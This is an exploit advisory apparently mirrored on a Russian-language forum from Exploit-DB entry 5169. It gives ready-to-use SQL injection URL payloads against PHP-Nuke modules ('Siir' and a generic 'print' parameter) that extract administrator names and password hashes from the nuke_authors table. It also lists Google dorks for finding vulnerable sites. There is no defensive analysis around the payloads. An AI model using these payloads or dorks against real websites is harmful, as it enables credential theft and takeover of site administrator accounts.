- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 5169
- Проверка EDB
-
- Пройдено
- Автор
- S@BUN
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- N/A
- Дата публикации
- 2008-02-21
Код:
###############################################################
#
# PHP-Nuke Siir SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : [email protected]
#
################################################################
#
# DORK 1 : allinurl: modules-php-name-Siir
#
# all (modules.php?name=xx) subject have secret print and
#
# and cant see op=print but cann- use exploit
#
################################################################
EXPLOIT :
modules.php?name=Siir&op=print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################
==================NOTE===================
###############################################################
#
# PHP-Nuke genaral print SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : [email protected]
#
################################################################
#
# DORK 1 : allinurl:"modules.php?name"print
#
# DORK 2 : allinurl:"modules.php?name=Hikaye"
#
# DORK : allinurl:"modules.php?name=Fikralar"
#
# DORK : allinurl:"modules.php?name=bilgi"
#
################################################################
example
http://xxxx/modules.php?name=(xxx subject)&(subject)=exploit
you cant see print id on google becouse all system have secret print and this exploit working simetimes but not always
EXPLOIT :
print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,0x3a,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################
# milw0rm.com [2008-02-21]- Источник
- www.exploit-db.com
